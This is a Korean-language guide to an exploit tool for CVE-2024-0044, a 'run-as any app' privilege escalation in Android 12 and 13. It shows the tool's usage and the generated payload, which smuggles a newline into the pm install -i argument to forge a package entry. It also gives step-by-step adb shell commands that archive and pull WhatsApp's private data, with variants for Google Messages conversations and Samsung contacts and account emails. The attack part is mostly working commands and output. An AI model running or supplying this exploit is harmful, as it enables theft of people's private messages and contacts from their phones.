
CVE-2024-0044: Android 12 및 13 버전에 영향을 미치는 "run-as any app" 높은 심각도 취약점
CVE-2024-0044는 PackageInstallerService.java 파일의 createSessionInternal 함수에서 발견된 높은 심각도의 취약점으로, Android 12 및 13에 영향을 미칩니다. 이 취약점은 공격자가 'run-as any app' 공격을 수행할 수 있게 하여 사용자 상호작용 없이 로컬 권한 상승을 초래합니다. 문제는 createSessionInternal 함수 내의 부적절한 입력 검증으로 인해 발생합니다. 공격자는 세션 생성 프로세스를 조작하여 이 취약점을 악용할 수 있으며, 잠재적으로 민감한 데이터에 무단 접근하고 영향을 받는 장치에서 무단 작업을 수행할 수 있습니다.
이 익스플로잇은 Meta security에 의해 발견되었습니다.
개념 증명은 Tiny hack에 의해 요약 및 공유되었습니다.
보안 패치에 대한 자세한 내용은 Android 보안 게시판에서 확인할 수 있습니다.
python3 cve_2024_0044.py -h
##########################################################################################
###############S%%#####################################################%%S################
###############%++*S##################################################?++?################
################%++*S###############################################S*++?#################
#################%+++%#############################################S*++%##################
##################S*++%###########################################%+++%###################
###################S*++?#########SSS%%?????***?????%%%SS#########%++*S####################
#####################?++*##S%%?**+++++++++++++++++++++++**??%S##?++*S#####################
######################?++**+++++++++++++++++++++++++++++++++++**++*#######################
###################S%?*++++++++++++++++++++++++++++++++++++++++++++?%S####################
#################%?+++++++++++++++++++++++++++++++++++++++++++++++++++*%S#################
##############S?+++++++++++++++++++++++++++++++++++++++++++++++++++++++++?S###############
############S?+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*S#############
##########S?+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*S###########
#########%+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++?##########
#######S*+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*S########
######%++++++++++++++*%SS%?+++++++++++++++++++++++++++++++++++?%SS%*++++++++++++++%#######
#####%++++++++++++++*######%+++++++++++++++++++++++++++++++++%######?++++++++++++++?######
####?+++++++++++++++*######S+++++++++++++++++++++++++++++++++%######?+++++++++++++++?#####
###%+++++++++++++++++*%SS%?+++++++++++++++++++++++++++++++++++?%SS%*+++++++++++++++++?####
##S+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++%###
##*++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++S##
#%+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++?##
#*++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++S#
S+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++%#
usage: cve_2024_0044.py [-h] -P P -A A
CVE-2024-0044: run-as any app @Pl4int3xt
options:
-h, --help show this help message and exit
-P P package name (default: None)
-A A apk file path (default: None)
-P는 실행하려는 대상 패키지 이름을 지정하는 데 사용됩니다.
-A는 기기에 푸시할 APK 파일을 지정합니다.
도구를 실행합니다.
python3 cve_2024_0044.py -P com.whatsapp -A /home/pl4int3xt/Downloads/F-Droid.apk
다음과 같은 payload.txt 파일이 생성됩니다.
PAYLOAD="@null
victim 10289 1 /data/user/0 default:targetSdkVersion=28 none 0 0 1 @null"
pm install -i "$PAYLOAD" /data/local/tmp/F-Droid.apk
Success 메시지가 반환되는지 확인해야 합니다.pl4int3xt ~> adb shell
pixel:/ $ PAYLOAD="@null
> victim 10289 1 /data/user/0 default:targetSdkVersion=28 none 0 0 1 @null"
pixel:/ $ pm install -i "$PAYLOAD" /data/local/tmp/F-Droid.apk
Success
pixel:/ $ mkdir /data/local/tmp/wa/
pixel:/ $ touch /data/local/tmp/wa/wa.tar
pixel:/ $ chmod -R 0777 /data/local/tmp/wa/
pixel:/ $ run-as victim
pixel:/data/user/0 $ tar -cf /data/local/tmp/wa/wa.tar com.whatsapp
임시 디렉터리 생성: mkdir /data/local/tmp/wa/
tar 파일을 위한 플레이스홀더 생성: touch /data/local/tmp/wa/wa.tar
모든 사용자가 이 디렉터리 내에서 읽기, 쓰기 및 실행할 수 있도록 광범위한 권한 설정: chmod -R 0777 /data/local/tmp/wa/
사용자 컨텍스트 전환: run-as victim을 실행하여 "victim" 사용자와 동일한 권한을 얻습니다.
대상 애플리케이션의 데이터 보관: tar -cf /data/local/tmp/wa/wa.tar com.whatsapp, WhatsApp 데이터 디렉터리의 tarball을 생성합니다.
adb pull /data/local/tmp/wa/wa.tar
7z 또는 다른 도구를 사용하여 데이터를 추출할 수 있습니다.
Whatsapp chat exporter를 사용하여 HTML로 변환할 수 있습니다.
이를 통해 기기에서 루트 액세스 없이 whatsapp 데이터를 얻을 수 있습니다.
패키지 이름을 다음과 같이 변경하면 됩니다.
plaintext@archlinux ~/D/c/p/cve_2024_0044 (feature)> python3 ./cve_2024_0044.py -P com.google.android.apps.messaging -A ~/Down
loads/F-Droid.apk
위의 지침을 따르고 wa.tar 파일을 가져온 후 압축을 풀고 com.google.android.apps.messaging/databases/bugle_db의 대화를 sqlitebrowser 또는 다른 도구로 엽니다.
삼성 기기에서 테스트되었습니다. 다른 기기의 경우 연락처 제공자의 패키지 이름을 확인하세요.
plaintext@archlinux ~/D/c/p/cve_2024_0044 (feature)> python3 ./cve_2024_0044.py -P com.samsung.android.app.contacts -A ~/Downloads/F-Droid.apk
위의 지침을 따르고 wa.tar 파일을 가져온 후 압축을 풀고 com.samsung.android.providers.contacts/databases/contacts2.db의 연락처를 sqlitebrowser 또는 다른 도구로 엽니다. db 파일에는 연락처 목록과 함께 모든 사용자 이메일 계정 정보가 포함되어 있습니다.